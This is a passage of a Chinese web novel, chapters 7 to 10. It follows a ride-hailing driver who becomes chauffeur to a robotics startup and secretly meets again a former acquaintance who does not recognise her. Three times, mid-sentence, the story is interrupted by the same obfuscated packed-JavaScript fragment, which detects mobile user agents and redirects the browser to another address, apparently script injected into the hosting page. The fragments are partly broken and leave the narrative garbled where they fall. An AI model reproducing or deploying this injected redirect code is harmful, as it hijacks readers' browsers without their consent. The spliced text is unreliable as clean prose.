《平分破》 7. 他脑子竟然一片空白 活动结束后,杨宗明在教学楼大厅告别院系领导,上了个卫生间,给陆小萍打电话。电话拨通后,他无意间一瞥,便看到趴着的陆小萍从桌上起来,右边脸被压出一道褶子。 他笑着走进去,陆小萍从座椅上起身,认出是杨宗明后,神情意外又窘迫。 “杨总。”陆小萍和他打招呼。 杨宗明在她身边坐下:“你倒会找地方,上课睡觉是最香的。” 陆小萍揉了揉右边脸颊。 杨宗明问:“你刚刚看到我的表情像是大吃一惊,认错人了吗?” 陆小萍一愣:“有吗?”又笑道:“您真会说笑,我没上过大学。” “没上过?”杨宗明略微意外,“那读了专科?” 陆小萍还是摇头:“我就高中毕业的文凭。” 杨宗明上下打量陆小萍,她不像18岁毕业就出来混社会的女孩子。她看人的眼神和做事的态度的确比同龄人老练,那是经历过生活才能磨练出来的本事;但她整个人的气质但又带一点读书的文气——她要是不说话就这么坐在教室里,和周围的学生没有半点区别。 他想起她身份证上的日期,今年10月才满27岁。 “杨总肯定是高材生。”陆小萍说道,“是在木安大学念的吗?” 杨宗明道:“是的,本科在这里念的。” “那是荣归母校。”陆小萍说,“怪不得您对校园这么熟悉。” “荣归谈不上,就是回来参加一个活动,这个是机械学院的一个比赛,我是校外导师,”杨宗明道,他想可能陆小萍不知道“机械”是做什么的,又补了句,“就是一个机器人比赛。” 陆小萍笑着“哦”了声,说:“听上去好厉害。校外导师是不是比校内的要求高,要博士……吗?” “我就研究生,本来是要念博的,时间太久了我熬不住,提前拿了个研究生回国。” “您在国外念的硕士?”陆小萍语气里流露出羡慕,“哪个国家?” 杨宗明听出来有一点做作的刻意,笑了笑,淡淡说道:“新加坡。” 陆小萍立刻抬起头来。 杨宗明觉得她眼里好像有点东西,问道:“怎么了?” 陆小萍张了张嘴,说的却是:“不太了解。新加坡,远吗?” 杨宗明笑道:“不远,直飞也就5个小时。” “五个小时的飞机还不远吗?”陆小萍问。 杨宗明笑:“和飞新疆一样,论时间,还没出中国大陆呢。” - 这天陆小萍收工很早,晚上七点多就到家。 本来晚上是要去机场接人的,8点20落地的飞机。7点多陆小萍收到杨宗明的电话,说不用了,对方另有安排。陆小萍此时已经快开到机场,听闻这话立马打开软件,接了个回市里的顺风单,提早收工。 面条刚下锅,阿倩闻着香味出来了。 她穿一件清凉的吊带,靠在厨房门口,说道:“多煮点,我也还没吃饭。” 陆小萍有一个月没见到阿倩了。阿倩在一家夜总会上班,她们的作息完全岔开。陆小萍说道:“你好像又瘦了。” 阿倩听闻这话不由开心地在她面前转了个圈:“真的吗真的吗?哎呀我可太开心了。你再仔细看看,我还有啥变化?”她指了指自己的脸。 陆小萍看了看,不太能看出来变化,只说:“好像皮肤变好了。” 阿倩得意地说道:“不仅是皮肤,有没有觉得我的脸更紧绷了?像不像十八岁少女?” 陆小萍点头:“很像。” 阿倩哈哈乐道:“刚去做了一个热玛吉,最新的第五代,提拉瘦脸,重回少女时代。花了我三万块呢,心痛死了。那个销售说充卡十万可以再打折,我心想妈呀,十万,真当我是冤大头啊。我要有十万块钱充美容院我早隆胸了。” 阿倩用手抬起胸前两坨肉。 陆小萍笑了笑,低头挑面。 阿倩走过来碰她的肩,说道:“妹妹,美容院送了我三次光子嫩肤,你要不要去试试?” 陆小萍问:“光子嫩肤是什么?” “就是一种日常保养,让脸颊更光滑跟美丽的。你天天坐驾驶室晒太阳,辐射很严重,很容易长斑的。” 陆小萍道:“三次也不多,你自己用吧。” 阿倩往面里加酱油:“你是年轻,青春无敌,不用担心,像我这样过了35,老天爷留给我们的时间就不多了。我要是有你这脸蛋和身材,我早过上富裕生活了。诶——”她凑过来和陆小萍耳语,“我给你介绍个有钱人好不好?” 陆小萍往碗里加了一抹葱花:“超过50的我不要。” 阿倩问:“你说的50指的什么?” 陆小萍瞪她一眼:“当然是年纪啦!还能是什么?” 阿倩放声笑道:“我又没说是什么,难不成是尺寸?那不戳死人了!” 她说话向来无所顾忌,陆小萍不想接话。 阿倩又说:“妹妹你还是年轻了,你不懂,男人超过50全是宝。” “什么宝?” “半截入土的人了,坟墓里不都是宝?” 陆小萍大笑:“那我再等等吧,我等个全熟的,半截入土的我不要。” - 一出机场,木安市潮热的气息迎面扑来。 祁分珩拎着公文包和几件在滨州临时买的衣服,走出机场大楼。路边停着一辆早已等候的黑色奥迪,司机下来问“是祁总吗”?祁分珩点点头,上了车,半个小时后,他见到了他大学时候的恩师,吴桂澜。 吴桂澜不单单是祁分珩的恩师,也是他的恩人。大三那年,祁分珩本已经申请好了新加坡国立大学的硕士,可他家中忽生变故,吴桂澜惜才,帮他申请了一笔五十万的助学基金,祁分珩才得以顺利出国。 这些年他们一直保持着亲密的关系。几年前吴桂澜从大学退休后,创办了一家生物医学的科技公司,人比在校期间还忙。祁分珩回国之初,他向他抛出过橄榄枝,祁分珩婉拒了。他专程跑到上海拜访吴桂澜,花了一个下午的时间阐述了自己的想法和规划,吴桂澜听完笑说,金鳞岂非池中物,分珩,我看好你,日后有什么需要帮助的,尽管开口。 今天是木安市政府邀请吴桂澜来讲座,下午结束后,留他吃饭。吴桂澜本想拒绝,想起很久没见祁分珩了,便打了个电话给他。祁分珩自然是答应,说下了飞机就过来。吴桂澜说市里派车来机场接他。 于是他转头告诉杨宗明,不用来接了,这边有车了。 于是陆小萍早早收了工。 - 晚上饭桌上有两位政府官员祁分珩认识,是组织部和宣传部的人,之前打过交道。吴桂澜一介绍祁分珩是他的关门弟子,饭桌上的关系更加热络起来。结束时候快十点,吴桂澜要连夜赶回上海,祁分珩便坐市里的车一并送他去高铁站。 这个时候,吴桂澜才有空和他说几句体己的话。 他没问他在滨州的收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059526|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获如何,看到他眼下的黑眼圈,心知现在年轻人不容易,便问他明天周末,如何安排。 祁分珩道:“先去趟公司,这周一直在外面跑,先回公司看看。” 吴桂澜说:“老板这么拼命,底下的员工并不一定会喜欢的。” 祁分珩笑道:“我哪里是什么老板,创业了才知道,我才是那个打工人。” 吴桂澜说:“小杨不是在木安。”他口中的“小杨”是杨宗明。 祁分珩道:“所以更要去支援一下他,明天他也会在的。” 吴桂澜说:“刚才那位组织部副部长,是小杨的表舅,你知道吗?” 祁分珩一愣:“不知道。宗明没和我说过。” 吴桂澜笑了笑:“他还在和家里置气啊。” 祁分珩说:“不算置气吧。他也只是想做他自己想做的事。” 吴桂澜说:“没必要,家里不是讲道理的地方。你可以劝劝他。” “他很轴的,有时候比我还轴。” “你也知道你轴?” 祁分珩笑了笑,岔开话题:“师母和媛媛还好吧?” “你师母现在天天搞短视频,比我还忙。媛媛也忙,忙着写博士毕业论文,瘦了好多,说等她博士毕业了要来木安找你玩儿。” 祁分珩听闻这话忽然有些感叹,说道:“时间好快啊,媛媛博士都要毕业了。”又说,“答辩那天我去给她送束漂亮的鲜花。” “是啊,时间快吧,我现在都还记得你大学时候的样子,转眼就是十年了,”吴桂澜说,“她答辩是十月份,你这么忙,就别专门跑上海一趟,叫个外卖送花就行,你送的什么她都会喜欢。” 祁分珩说:“我挑个礼物。” 吴桂澜又说:“你小子也没怎么变,除了越来越帅。你来之前我说‘灵犀科技’的祁分珩是我最得意的学生之一,宣传部的那个女科长便说‘小祁很帅的,之前去采访他,我们部门的小姑娘都主动报名’,还给我看了当时你的采访视频。” 祁分珩扶额:“吴老师,这客气话您也信,当时区里有个海归青创的合集,叫我去滥竽充数的。” 吴桂澜:“大学时候你就招女孩子喜欢。现在有女朋友了吗?” 祁分珩无奈道:“我现在这状态,就像个人机,哪里有精力搞儿女情长?” 吴桂澜笑道:“你们实验室呢?招来的新博士里,有志同道合的吗?” 祁分珩举起小白旗:“别了,我真怕了。夏颖颖和费俊荣就是最鲜活的反面例子。他俩一闹掰,我们大伤元气。” 吴桂澜点点头,意味深长地说:“所以创业最好不要和朋友爱人一起,爱人反目、兄弟阋墙,很难避免。” 祁分珩沉默了片刻。 吴桂澜忽然又提起一个人:“你大学毕业后,还和顾诗萍有联系吗?” 祁分珩微微一愣,他好多年没听人说过这三个字了,以至于乍然听到这三个字他脑子竟然一片空白。紧接着,他耳朵里“轰隆”一声巨响,封存的记忆忽然被人掀开,生锈的齿轮迫于外力开始转动,扬起漫天灰尘,呛得人无法呼吸。 少许,他摇头,平静地说道:“没有。我没有她的联系方式。”停顿片刻,又问,“怎么说起这个人?” 吴桂澜欲言又止:“没事,就是忽然想到。那个时候她……” 祁分珩打断他:“我再没有见过这个人。” 吴桂澜瞧他神色,终究只说:“人老了嘛,总会想起以前的事。” 8. 万分庆幸,他没有认出陆小萍。 杨宗明是一个很好的老板。 他非常大方,在钱上面非常痛快且十分诚信。包车的钱是日结,每天都有新鲜的500块到账。如果他不用车,结钱的当晚会给陆小萍提前说,陆小萍第二天就自己去跑车。当然,陆小萍是希望他每天都包车的,灵犀公司的业务无非就是去这里开开会、那里看看材料。 工作一周后,陆小萍听出来他们好像是做机器人的。除了老板,楼上还有一些科研人员,他们下班了陆小萍也下班,晚上还能跑跑私活。 至于杨宗明提到的他的那位搭档,陆小萍至今还没见过。他的搭档好像更忙,把他的那辆奔驰拿去自己开了。 因为是临时编外人员,陆小萍几乎没进去过他们的楼。楼上都是博士硕士的高学历人才,她一个只有高中文凭的网约车司机,就别去凑热闹了。他们在楼上,是天;她停在地库,是地。 他们是天壤之别。 不过地库空气不好,陆小萍待了两天后就不待了。园区有一家咖啡厅,她不点咖啡,她舍不得点二十多一杯的饮料,她也不闲坐,就在店里帮忙,不收钱,只要能让她吹空调。 店员就两人,和她年纪相仿,一来二去也熟了。 - 那天,陆小萍和店员小张有一搭没一搭地聊天。小张说园区里都是年轻人创业,铁打的园区流水的公司,好多公司装修得漂亮,但没过一两年就垮了。 陆小萍问为什么。 小张说,这园区交通便利,但租金贵,而且创业都是烧钱大熔炉,他见得多了,没几个能真正活下来。 正说着,陆小萍忽然不动了,她牢牢盯住窗外,有个白色身影快速从树荫下走过。 她愣了愣,疑心自己看花了眼,揉了揉眼睛,再看,外面阳光毒辣,白花花的一片,草木都被晒得蔫蔫的,哪里有半分人影。 最近新闻在说太阳有磁暴,会影响通讯设施什么的,难道还会产生海市蜃楼的幻象? 一定是幻觉,就像那天在木安大学一样,那次她把杨宗明认错了人,这次是把某个路人甲认错人。或许是之前祁分珩打到她的车太让她震惊,以至于产生了后遗症,有一点风吹草动她都草木皆兵。 小张见她走神,问她:“小萍,想什么呢?” 陆小萍说:“哦,没啥。” 小张看去,空空如也。 他说:“我问你呢,你天天来我们店里贡献免费劳动力,不如直接来上班好了,肯定比你开车赚钱,还不晒太阳。你是不是做过服务员?我觉得你轻车熟路。” 陆小萍回过神:“哦,是的,但是谢谢你,我不行的。” “为啥?” “我干不了固定时间的活,我家里有人需要照顾。” “你家咋啦?” 陆小萍颇有些无奈:“我爸生病了,我之前干过服务员,老是请假,被劝退了。” - 下午没事,陆小萍自由接单。刚完成了两个单,她收到杨宗明的消息,让她八点到云升海鲜酒店等,有接送。 她回复一个“收到”,关闭了接单软件。 陆小萍在云升海鲜酒店的停车坪等了半个小时。八点半,杨宗明来电,说他们吃完了。陆小萍收到指令,将车从地面停车场开到饭店门口。 不多时,她就看到了玻璃门里的杨宗明,于此同时,她也看到了他身旁的另外一个穿着白色上衣的人,那个人的身影和中午日头下看到的一模一样。她不可置信地呆住两秒,心跳加速,背脊发直,她想是不是见鬼了。她今天白天已经在太阳下见了一次,这会儿晚上怎么又见了一次。 直到里面的人越来越近,她才反应过来这不是鬼,是真人。意识到这一点,她的心跳快到了极点,浑身竟然都不自觉颤抖起来,几乎产生了弃车而跳的念头。 她的手都已经摸到安全带的插销口了,只要她一按,安全带弹出,她便可以推开车门大步离开。可就在这一秒,杨宗明拉开了车门把手。 - 杨宗明把祁分珩和徐莹送上了车。 徐莹摇下车窗,对杨宗明露出甜美的笑容:“谢谢你,Eric,今天麻烦你啦。” 杨宗明笑道:“客气什么,来了就多玩儿几天。抱歉我之前安排了事情,今天只能就让分珩陪你欣赏夜景了。” 徐莹摆摆手:“好,你有事先去忙。拜拜。” 杨宗明对祁分珩使了个眼色,又对前排的陆小萍说:“小萍,去CBD新城。” 瞧见陆小萍时候他微微一愣——已经是暮色十分,陆小萍仍戴着帽子和口罩,不仅如此,鼻梁上还多了一副黑框眼镜。 汽车缓缓驶入晚间的车流。 徐莹看着窗外的夜景,说道:“我上一次来木安市是七年前,那个时候大学毕业,我和一帮高中同学来旅游。” “后面没来过了?”祁分珩问。 “没了,如果来也是路过,纯粹的游玩是真没有。你是木安市人吗?”徐莹回头问。 “不是,”祁分珩笑了笑,“不过我老家离木安市很近,就在旁边,高铁40分钟的距离。” “哪个城市?” “绍明市。” “噢,我知道啊,这个地方出了很多名人。原来你是绍明市的人,怪不得。” “怎么了?” “山清水秀的地方果然人杰地灵。那你怎么想着创业公司放在木安市?” “木安市现在政策很好,适合海龟创业者。”祁分珩说完觉得这话有点太官方,又说,“这里离我家也近,以前念书时候在木安市待过一年,对这个城市印象很好。” “念书?” “我高三在木安实验中念的,从这里考到的上海。” “为什么高三要换学校?” “我爸给我换的,说大城市教学质量要好一些,高三很关键,联系了学校,对方也乐意收,就来了。” “你爸挺厉害的。现在叔叔阿姨都退休了吗?” “我爸前些年走了。我妈现在退休在老家,每天跳跳广场舞,挺开心。” 徐莹一愣:“对不起,分珩。” 祁分珩宽慰说:“没事,我爸都走好几年了。”他看向窗外,“我们快到了。” 鳞次栉比的摩天楼外立面晃动着耀眼的灯光秀。这一片临江,晚上7-9点江两岸的摩天楼都会上演漂亮的灯光秀,吸引不少外地游客来打卡。 “师傅,”祁分珩倾身对陆小萍说,“等下你停来福士门口就行。”祁分珩示意前面右手边。 陆小萍点点头。 “分珩,这里有什么好玩儿的?”徐莹问。 祁分珩道:“这里有一个城市阳台,我们从来福士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059527|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面穿过去。现在户外还是很热。” 徐莹甜甜一笑:“好,听你安排。” 汽车打灯靠边。 祁分珩问陆小萍:“你是停商场里还是四周转转?” 隔了两秒,陆小萍才确认祁分珩是在问她。她压低帽檐,压低声音道:“我找个地方停车等你们。” “好,你电话多少,结束了我给你打电话。” 陆小萍报上一串号码。 祁分珩记下。他打开车门先下车,然后徐莹下车,陆小萍默数着他们下车的动作,等待悬着的一颗心落回肚里。可就在陆小萍等着他关门的前一秒,祁分珩忽然从副驾的玻璃窗探身进来。 陆小萍浑身一抖。 祁分珩本是要问她“姓什么”,见状不禁改口道:“你怎么了?” 他注视着她,离她只有三十公分。 陆小萍咽了下口水,垂下睫毛:“没、没事。” 祁分珩这才问:“师傅你贵姓?” ——原来他是要问这个。 陆小萍努力控制声线,平平答道:“我姓陆。” 祁分珩颔首表示知道,关上车门:“陆师傅,等会儿联系。” - 陆小萍开了好几个路口,也不知道到了哪里,在一个漆黑无比、没有路灯的树影下熄了火。 刚才后座的两人都喝了酒,不多,也就一点点,其实没什么味道。她不管外面还是三十多度,开了窗,将酒味散掉。 路小萍设想过很多次和祁分珩的遇见——不,没有,她没有想过,她压根没有想过他们还会再见面。 上次他打到她的比亚迪已经是奇迹,没想到这次她居然成了他的包车司机。老天爷怎么这么爱开玩笑,竟让这样的两个人还能遇到。 这么多年过去,祁分珩变了,陆小萍也变了。可陆小萍还是可以第一眼认出他,但他没有认出陆小萍。 这是不幸中的万幸,万分庆幸,他没有认出陆小萍。 阿弥陀佛。 不然,两个人四目相对,能说些什么呢? 还是不要说了,不要相见,更不要相认。他们曾经短暂地相交,但相交后的两条直线只会越来越远,直到谁也看不见谁。 还是这样好,谁也看不见谁。 以至于谁旁边的谁又是谁,更加不要关心。 陆小萍在树影下逐渐平复心情,开始琢磨后面的事儿怎么弄。 杨宗明和她的包车缘分看来就要断在这里了。真是有些舍不得这样美肥的差事,说好要包两个月,才开始两个星期就要将这肥差转给别人。陆小萍又想,其实平日里主要是杨宗明在用车,祁分珩他都是自己开车,他好像不喜欢用司机,所以陆小萍直到今晚才见到正主——如果她乔装打扮一下,是不是也不会被认出来? 她只是一个“陆师傅”,是来开车赚钱的,钱没有爱恨,也不认识任何一个人,需要再为这么一点生活小波澜斩断自己的财源吗? 好像没必要。 她也太看得起自己了。 她那点尊严,还剩下几钱? 蚊虫飞进来,陆小萍关了车窗,下车走到户外。听说台风快要来了,台风来之前的天气总是晴朗又暴晒,连晚上的流云都清晰可见。远处城市的灯光秀已经结束,剩下两盏穿透力超强的射灯,刺透这烦闷的天空。 9. 对方向你关闭了朋友圈。 室外太热,祁分珩请徐莹在摩天楼顶层的网红咖啡馆欣赏夜景。透过巨大的落地窗,城市的璀璨夜景尽收眼底。 徐莹这次来木安市计划待一周,有两个目的:一是作为网红参加一个护肤品的发布会;二是作为轮胎厂厂长的女儿,来聊聊新的材料。 在和祁分珩坐着喝咖啡的时候,徐莹的手机也没闲着——她拿出八爪鱼的固定架子支好手机,开始录像。先录自己喝咖啡、吃甜点,然后录咖啡厅的环境,接着是外面的灯光秀。一边录还带着点评,镜头对室内环境一扫而过,祁分珩有意识地用后脑勺避开了。 忙活了大半天,直到灯光秀完全熄灭,她的拍摄才结束。她查看素材,几秒后,忽然叹气道:“空间又满了,最后一个没录成功。” 祁分珩问道:“你手机多大容量?” “512G的。我本来有个1T的,没带出来。”徐莹开始删东西。 祁分珩安慰她道:“明天还可以来录的。” 徐莹摇头:“来不及了,待会视频我要发给工作室开始剪辑。明天晚上我参加活动,没空来。后天视频就要剪好上平台。” 祁分珩不知道能接着说啥,这些涉及到他的知识盲区。未等他说话,徐莹说:“算了,有多少用多少吧。”她抬起头忽然问,“分珩,你会不会觉得我很烦?” “怎么这么说?” “一个晚上都在东拍西拍,自己拍不够,还让你当我的摄影师。你们男生是不是最讨厌这样的?” “哪里有这么严重,”祁分珩笑道,“我只看到一个事业心超强的女企业家。” “别这么说我,”素材发过去后,徐莹把手机倒扣放到桌面,“我其实厌烦这样,自从当上博主之后,我出来玩儿都是带着任务,没有一次是纯玩儿的,满脑子想的都是角度、素材,挺累的。就像你随时都在工作。你知道我最幸福的时间是什么时候吗?” “什么时候?” “洗澡的时候。因为那个时候我可以完全不用手机,也可以不被任何人打扰。我现在靠手机吃饭,远离手机却成了我最幸福的事。”徐莹自嘲道,“你自己创业,相信能理解我的感受。” 这一点祁分珩确实有些感同身受。回国单干后,他深深感觉人生是一种不可拒绝的前进,周围的人和事裹挟着他,泥沙俱下,让他不得不往前走。 但徐莹又和他不同——她本来就是富二代,身后有超强的金钱和人脉后盾,虽说她也创业、她也辛苦,但她的底气比祁分珩足多了,因而举手投足间,她自带一股天生的松弛感。 祁分珩对徐莹笑了笑,说:“我能理解。” 徐莹也对他笑了笑,拿起手机示意他:“我先和团队说下要求。”接着按着微信语音键就是一顿输出。 祁分珩见徐莹差不多了,调出手机里最新拨出的那一通电话。这还是一串没有规律的数字,祁分珩存进通讯录,姓名一栏写了个“陆”,然后拨了出去。 - 陆小萍接到祁分珩电话后,五分钟就到了他定位的楼下。这会儿马路上车少了,红绿灯时间短,两三个路人等到绿灯后快速从斑马线上跑过。商场已经关了门,只有超高层上面的灯还星星点点地亮着。 陆小萍仰头看,不知道祁分珩和徐莹从云端的哪一层下来。 她正出神,大楼侧门出来一对登对的男女,随即他们走过来,拉开了陆小萍的车门。 祁分珩上车报了希尔顿酒店的地址,先送徐莹。路程很短,不到十分钟。后座的两人还没怎么惜别,比亚迪就不合时宜地停了下来。祁分珩绅士地将徐莹送到酒店大厅,五分钟后,重新回到车上。 车门关闭的那个瞬间,这辆比亚迪变成了只有祁分珩和陆小萍的空间。 陆小萍捏了捏方向盘,等待后面祁分珩的声音响起。她想祁分珩会简短清晰地告诉她下一个地址在哪,然后她迅速启动,迅速送达。 然而她等了好几秒,也不见后面声音响起,她往后视镜看去,却见祁分珩正不动声色地看着她。 也不知看了多久。 陆小萍的心紧张地跳起来。她咽了咽口水,用低沉的嗓音问出若无其事的语调:“祁总,我们去哪儿?” 祁分珩却问:“陆师傅,你为什么一直带着口罩?” 陆小萍说出早准备好的答案:“我鼻炎发作了。” 祁分珩问:“严重吗?” 陆小平用三个连续的大大的喷嚏回答了他。 见状,祁分珩没再继续这个话题。他收回目光,将头靠在后座椅上,微微合上眼,发布号令:“走吧,去金澄路的润发小区。” 陆小萍又打了一个响亮的喷嚏。 祁分珩眼皮合到一半,被她这声喷嚏震醒,瞧见陆小萍狼狈地擦眼泪。他没什么反应,继续将眼睛闭上。 他不知道他这一句话,在陆小萍的心里炸了一个惊雷。 陆小萍是知道这个小区的。她可以不导航开过去,但为了保持她的职业习惯,她还是打开了导航,起码志玲姐姐的声音能让这个封闭的空间没那么让人窒息。 一切安妥之后,她又从后视镜里偷窥了一眼后座。 祁分珩发布完这个指令后便没有再说话,养神不到五分钟,他似乎想起了什么,打开了手机。 陆小萍当然也不会主动说话。她偶尔从后视镜偷瞄后座的那个人,他隐藏在车厢阴影里,有一次看着车窗外,有两次是在看手机。看手机的时候,他脸上一小部分轮廓被手机照亮,屏幕的光是冷的,显得他的人也是冷的。最后一次,他握着手机回归养神。 沉默的三十分钟后,汽车平稳地停在了润发小区门口。 陆小萍抬眼看后镜,祁分珩竟睡着了。 - 陆小萍没有发出一点声音,静静看了一会儿祁分珩。 他比七年前成熟多了,无论是长相模样、言谈举止还是整个人的气度,都变了很多。学生气的青涩褪去了,取而代之的是从容与笃定。眉宇间添了沉稳,谈吐里藏着见识,性格也收敛了很多,不再像学生时代那般张扬,举手投足间皆是拿捏好的分寸,待人接物温润却有力量。她不知道他这些年是怎么过的,想来应该是不错,至少会比她这个网约车司机好。 不过也累吧,不然怎会在和美女约会完就在后座睡着。 她肆无忌惮地打量了祁分珩十几秒,没敢多看,生怕某一个瞬间他忽然醒来。她想叫醒他,又迟迟开不了口。 在这个他睡着、她醒着的空间里,更难受的是醒着的人。陆小萍无法继续忍耐,下了车,靠在车前盖前,看车看人,发呆。 这一片变化不大。路边的兄弟水果还在卖水果、老王副食店还在卖副食、日用品商店比以前涨了点价——从全场三元变成了十元。城市和人一样,一样会新陈代谢。只是这片比较老,换得比较慢。 有一段时间传言金澄路这片会拆迁,陆小萍开车路过会多看两眼。后来这阵风过去,拆迁没了下文。 陆小萍曾经在这里住过两年,从高二到高三。她高中本来是住读,高二分科后,她爸爸顾岭担心住读的六人间影响她学习,便在这里给她买了一套房子,从老家请了一个远方亲戚来照顾她的起居。 那个时候,她就住眼前这润发小区。 当时,祁分珩也住在这个小区。 她告诉自己不要回忆,但当她今晚知道祁分珩住在这里后,心里很难不泛起涟漪。 她警告自己不要发散思维,快想点别的,结果另外一个地方猝不及防地蹦入脑海——江城路888号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059528|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨宗明说得没错,那片以前都是厂房,都是搞纺织的,她爸爸创立的晴华纺织厂就在那里。她对那一片也很熟,熟到她身份证上面的地址,依旧写的晴华纺织厂的地址。 不过七年前厂房倒闭了。 厂房和厂址被卖给了一家地产公司,结果房子没盖起来地产公司先断了资金链,厂址最后回归政府,之后就一直荒芜着。 前年说要卖地,后来说要改造,传了好久,最近路过看见晴华纺织厂的附近有挖土机在工作,听车上乘客讲,是要造一片市政公园,还景于民。 那一片终于要变动了,再不动,就快被这座城市遗忘了。 她正默默出神,忽然听见后面“砰”的一声关门。 祁分珩下车了。 她应声回头。 祁分珩问她:“到了怎么没叫我?” 陆小萍只是笑了笑,露出尴尬的神情。 他脸上有未醒的倦色,问:“我睡了很久吗?” 陆小萍摇头,简单说道:“五分钟。” 祁分珩觉得杨宗明找的这位司机话是真少,路上不说话,他问她也一字一答。他心觉一丝莫名其妙的古怪,来不及细细琢磨,被繁杂的疲惫掩盖。他回到正题:“你微信多少?我加你。明天你不用跟我,你跟着徐莹徐总,就刚刚那位美女。我把她的时间安排发你,你早点去接她。” 他一边说一边拿出手机要扫码,余光瞄到眼前人没动,抬头看她一眼,陆小萍才仿佛如梦初醒,打驾驶室,从上面取下手机,说:“我扫您吧。” 她有些诚惶诚恐,祁分珩本已打开了扫一扫,见她也打开,便切换回微信二维码主页。 陆小萍扫完码,低头答道:“好的。” 微信名称就三个字:祁分珩。 陆小萍看了两秒,抬起头,见祁分珩正看着她,眼神中多有打量和审视的味道。 她心头一跳,慌忙移开眼睛,正好祁分珩手机响起,他看了一眼来电,对陆小萍做了个再见的手势,转身走进小区大门。 陆小萍松了一口气。 他认出她了吗? 不可能,她戴着口罩和黑框眼镜,遮住了大部分的面容。眼镜的镜片是廉价的塑料,在一定角度下十分反光,反得只能让人看见影影绰绰的外部影子。她甚至还故意含胸驼背,显得身高矮了一点。 他不可能认出她。 这时,陆小萍的手机进来一条微信。 祁分珩:明天八点到公司换杨总的车,十点前到希尔顿接徐总。徐总:189-2386-XXXX。 祁分珩:【定位】 陆小萍把第一条信息读了两遍,回道:收到,您放心。小陆,159-XXXX-1267。 祁分珩:OK。辛苦。 陆小萍盯着这言简意赅的字,心里涌上不合时宜的酸胀。她想如果当年没有发生那些事,她是不是也会是一个成功人士,或者就算没有获得世俗意义上的成功,至少她应该也是一个白领,而不是一个只有高中学历的网约车司机。 但这世上哪里有如果,她很快清理掉这些情绪,将此页截屏发给了杨宗明,留言道:杨总,明天祁总让我开您的车。 杨宗明:我知道。你会开吗?要提前熟悉一下吗? 陆小萍:会的。您是E300L,我代驾过。 杨宗明:好的。别给我蹭了啊,不然有你赔的。说完他跟了一个伸舌头做鬼脸的表情。 陆小萍回:不会。您放心。 杨宗明:又是“您”?我们公司不兴这个,让我感觉很怪。 陆小萍看着这行字,手指头动了动,回复一个:好的。 回转头打开祁分珩的朋友圈,只有一条横线—— 对方向你关闭了朋友圈。 10. 她还要过她的生活。 杨宗明向来准时,早上和陆小萍前后驶入地库。他从车上下来,手里端着一杯咖啡,一见陆小萍愣了一愣。 “你剪头发了?这么短?”他把车钥匙抛给陆小萍。 陆小萍本就是短发,长度还没到肩膀,昨天回去找隔壁理发店剪得得更短——头发擦着耳廓齐刷刷往下,收在了颈部上边缘,都快成男生的发型了。 陆小萍往他身后看了看,所答非所问:“祁总没和您——你,一起来?我是说,我要去接他吗?” 杨宗明道:“他上午有会,不用管他。” 陆小萍这才放下心来,摸了摸头发:“天气太热,洗了好干。” 杨宗明心想女生不是都很爱惜自己的长发么,陆小萍这回答怎么这么“直男”。这个念头一起,他意识到她一直以来穿得也很中性:今天上黑色圆领T恤,浅咖色休闲长裤,底下一双运动鞋。 人也瘦,骨架明显,头发再一短,竟有点像个俊俏的假小子。 他问:“你什么时候去接徐总?” 陆小萍道:“九点出发。现在去早了,还得付停车费。” 杨宗明颔首:“行。停车记得留发票或者电子凭证,回来报销。你是木安本地人,徐总要是有多的时间,你带她逛一逛。” 陆小萍眼珠子一转,立刻道:“做导游加钱吗?” 杨宗明问她:“你有导游证吗?” 陆小萍“嘿嘿”两声。 杨宗明笑了笑,抬脚欲走,又听见陆小萍问:“对了,那祁总和你,你们不去?” 杨宗明回道:“到时候看吧,我会和你联系的。” “杨总——”陆小萍又叫住了他。 “还有什么事?” “有个情况我得和您说明一下,我其实对紫外线过敏。” “对紫外线过敏?”杨宗明还是头一次听说有人对紫外线过敏,“这是什么毛病?” 陆小萍说:“这不算毛病,就是不太能晒太阳。我晒了太阳之后,皮肤会发红发痒,擦药才能缓解……哪怕阴天也不行。” “SO?” “没什么,就是和您说明一下,我把自己包裹得很严实,不是因为娇气怕晒。” “上次不是解释过了么?” “嘿嘿。”陆小萍只饶头傻笑。 杨宗明未觉有异,反倒觉得她摸头憨笑的样子有些可爱,笑看她一眼,摆摆手,走了。 - 徐莹走出酒店大堂,发现接她的车变了。 昨晚是个普通的新能源比亚迪,今天变成了奔驰E。 她没戳破这个事,第一句话是笑意盈盈地对陆小萍说:“小姐姐,今天辛苦你啦。” 陆小萍侧过去半张脸,说:“客气了,徐总。”她依旧是全副武装,比起昨晚她还多了一副墨镜。 徐莹见状道:“你这防晒做得真足。” 